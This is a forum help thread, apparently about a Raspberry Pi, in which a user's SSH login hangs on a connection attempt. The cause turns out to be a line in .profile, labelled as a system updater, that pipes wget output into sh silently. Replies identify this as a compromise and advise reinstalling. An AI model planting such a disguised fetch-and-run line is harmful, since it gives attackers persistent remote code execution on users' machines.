Ssh login strange process

What is the problem?
after I logged me in via Putty on ssh, there is no prompt rather a process which try to connect to


I can press ctrl + c to interupt and to get a prompt
I dont know what this is

What did you already try to solve it?
tried to find it with grep -Ril ""

Logs (syslog, dmesg, ... no logs, no support)
cat auth.log.1 | grep ""

Additional information about your network (Hardware you are trying to connect to, hardware you are trying to connect from, router, access point, used operating systems, ...)

I use thes auth settings:


maybe there is something messed up in the putty settings

Maybe there is something in .profile or .bashrc or so.

Try to login as root and see if the same problem occurs with su - pi.

Please provide some of the missing information. My first guess is that your system has been hacked. Could be the system you are connecting from or the RPi you are connecting to.

@ Ewald
i checked my settings, they are the same.
I have the same behaviar from windows comandline when I do ssh pi@

@ jandar
Bam you were right, I checked the .profile and the last entry is

 # System updater below
 wget -O- | sh > /dev/null 2>&1

so i comment it out and now I have a normal behaviar.

Thx all for your time and your help.
So ill check where it come from...

This looks like someone got access to your system (did you create a port forward to SSH but did not set a strong password or better public key login only? Don't do that) and installed half of a command and control kit to make it part of a bot server. If I were you I'd nuke this and flash a fresh image, then rethink your network security. This machine looks compromised.
